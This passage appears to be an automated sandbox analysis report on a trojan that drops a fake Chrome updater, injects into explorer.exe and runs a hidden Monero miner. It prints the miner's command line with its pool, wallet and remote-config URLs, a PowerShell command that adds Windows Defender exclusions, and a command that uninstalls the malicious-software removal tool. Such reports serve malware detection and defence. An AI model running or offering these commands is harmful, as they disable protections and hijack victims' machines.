              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

              Malware Analysis System Evasion

              barindex
              Query firmware table information (likely to detect VMs)
              Source: C:\Windows\explorer.exeSystem information queried: FirmwareTableInformationJump to behavior
              Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000F01000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXE
              Source: explorer.exe, 0000003B.00000003.1503013343.0000000001A08000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SPAINSTEALTH-TARGETSTASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXESTEALTH-FULLSCREENALGO
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: JMGYGIBWLGBWTXUGYRY6VXWRXKF94HTUAJR8HVICSX.MADRID" --PASS="" --CPU-MAX-THREADS-HINT=50 --CINIT-WINRING="PJJTWOLJKWRI.SYS" --CINIT-REMOTE-CONFIG="HTTPS://PASTEBIN.COM/RAW/VMNMCAJF,HTTPS://RENTRY.CO/Y9CE3ING/RAW" --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-VERSION="3.4.0" --TLS --CINIT-IDLE-WAIT=5 --CINIT-IDLE-CPU=80 --CINIT-ID="PYUAD
              Source: explorer.exe, 0000003B.00000003.1503146567.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.3836485970.0000000000F92000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE.
              Source: explorer.exe, 0000003B.00000003.1477292624.0000000000F02000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HTTPS://PASTEBIN.COM/RAW/VMNMCAJF,HTTPS://RENTRY.CO/Y9CE3ING/RAWTASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEPYUADPZAQMICYMRM
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000F01000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXEBUFFER^E
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --ALGO=RX/0 --URL=XMR-EU1.NANOPOOL.ORG:10343 --USER="44SZFI7TUDQDAZKCMFHCOY8JBZBYBSAKXLDETPAJCCWJVG4FVX5SWJMGYGIBWLGBWTXUGYRY6VXWRXKF94HTUAJR8HVICSX.MADRID" --PASS="" --CPU-MAX-THREADS-HINT=50 --CINIT-WINRING="PJJTWOLJKWRI.SYS" --CINIT-REMOTE-CONFIG="HTTPS://PASTEBIN.COM/RAW/VMNMCAJF,HTTPS://RENTRY.CO/Y9CE3ING/RAW" --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-VERSION="3.4.0" --TLS --CINIT-IDLE-WAIT=5 --CINIT-IDLE-CPU=80 --CINIT-ID="PYUADPZAQMICYMRM"
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: EXPLORER.EXE--ALGO=RX/0--URL=XMR-EU1.NANOPOOL.ORG:10343--USER=44SZFI7TUDQDAZKCMFHCOY8JBZBYBSAKXLDETPAJCCWJVG4FVX5SWJMGYGIBWLGBWTXUGYRY6VXWRXKF94HTUAJR8HVICSX.MADRID--PASS=--CPU-MAX-THREADS-HINT=50--CINIT-WINRING=PJJTWOLJKWRI.SYS--CINIT-REMOTE-CONFIG=HTTPS://PASTEBIN.COM/RAW/VMNMCAJF,HTTPS://RENTRY.CO/Y9CE3ING/RAW--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-VERSION=3.4.0--TLS--CINIT-IDLE-WAIT=5--CINIT-IDLE-CPU=80--CINIT-ID=PYUADPZAQMICYMRM2
              Source: explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEA
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000F01000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXEBUFFERT
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: JMGYGIBWLGBWTXUGYRY6VXWRXKF94HTUAJR8HVICSX.MADRID" --PASS="" --CPU-MAX-THREADS-HINT=50 --CINIT-WINRING="PJJTWOLJKWRI.SYS" --CINIT-REMOTE-CONFIG="HTTPS://PASTEBIN.COM/RAW/VMNMCAJF,HTTPS://RENTRY.CO/Y9CE3ING/RAW" --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-VERSION="3.4.0" --TLS --CINIT-IDLE-WAIT=5 --CINIT-IDLE-CPU=80 --CINIT-ID="PYUAD
              Source: explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXE_
              Source: explorer.exe, 0000003B.00000003.1503013343.0000000001A08000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000003.1503146567.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.3836485970.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000003.1477292624.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000003.1503060227.00000000019FD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "STEALTH-TARGETS": "TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE",
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXET
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6079Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3726Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5897Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3755Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeDropped PE file which has not been started: C:\Windows\Temp\pjjtwoljkwri.sysJump to dropped file
              Source: C:\Windows\System32\conhost.exeAPI coverage: 0.8 %
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7808Thread sleep count: 6079 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7812Thread sleep count: 3726 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7860Thread sleep time: -5534023222112862s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1120Thread sleep count: 5897 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1452Thread sleep count: 3755 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2228Thread sleep time: -5534023222112862s >= -30000sJump to behavior
              Source: C:\Windows\explorer.exe TID: 7764Thread sleep count: 75 > 30Jump to behavior
              Source: C:\Windows\explorer.exe TID: 7764Thread sleep count: 42 > 30Jump to behavior
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000F01000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW4
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000F01000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000EA9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWd
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\System32\conhost.exeCode function: 57_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,57_2_0000000140001160

              HIPS / PFW / Operating System Protection Evasion

              barindex
              System process connects to network (likely due to code injection or exploit)
              Source: C:\Windows\explorer.exeNetwork Connect: 54.37.137.114 10343Jump to behavior
              Source: C:\Windows\explorer.exeNetwork Connect: 104.20.4.235 443Jump to behavior
              Source: C:\Windows\explorer.exeNetwork Connect: 51.89.23.91 10343Jump to behavior
              Adds a directory exclusion to Windows Defender
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
              Found direct / indirect Syscall (likely to bypass EDR)
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeNtProtectVirtualMemory: Direct from: 0x7FF776EFDEBEJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeNtProtectVirtualMemory: Direct from: 0x7FF7773E78B2Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeNtProtectVirtualMemory: Direct from: 0x7FF615891597Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeNtProtectVirtualMemory: Direct from: 0x7FF776EDAA36Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeNtProtectVirtualMemory: Direct from: 0x7FF615875006Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeNtProtectVirtualMemory: Direct from: 0x7FF61588A762Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeNtProtectVirtualMemory: Direct from: 0x7FF77733B72DJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeNtProtectVirtualMemory: Direct from: 0x7FF615CD0F4DJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeNtProtectVirtualMemory: Direct from: 0x7FF615D733BAJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeNtProtectVirtualMemory: Direct from: 0x7FF615D678B2Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeNtProtectVirtualMemory: Direct from: 0x7FF777350F4DJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeNtProtectVirtualMemory: Direct from: 0x7FF61587DEBEJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeNtProtectVirtualMemory: Direct from: 0x7FF776F1F01BJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeNtProtectVirtualMemory: Direct from: 0x7FF7773229CBJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeNtProtectVirtualMemory: Direct from: 0x7FF61585AA36Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeNtProtectVirtualMemory: Direct from: 0x7FF776F0A762Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeNtProtectVirtualMemory: Direct from: 0x7FF776F1BE63Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeNtProtectVirtualMemory: Direct from: 0x7FF615860ED4Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeNtProtectVirtualMemory: Direct from: 0x7FF615CC2AE7Jump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeNtProtectVirtualMemory: Direct from: 0x7FF776EF5006Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeNtProtectVirtualMemory: Direct from: 0x7FF615884767Jump to behavior
              Injects code into the Windows Explorer (explorer.exe)
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeMemory written: PID: 7744 base: 140000000 value: 4DJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeMemory written: PID: 7744 base: 140001000 value: NUJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeMemory written: PID: 7744 base: 140674000 value: DFJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeMemory written: PID: 7744 base: 140847000 value: 00Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeMemory written: PID: 7744 base: D85010 value: 00Jump to behavior
              Modifies the context of a thread in another process (thread injection)
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeThread register set: target process: 4456Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeThread register set: target process: 7744Jump to behavior
              Modifies the hosts file
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exeJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\explorer.exe explorer.exeJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
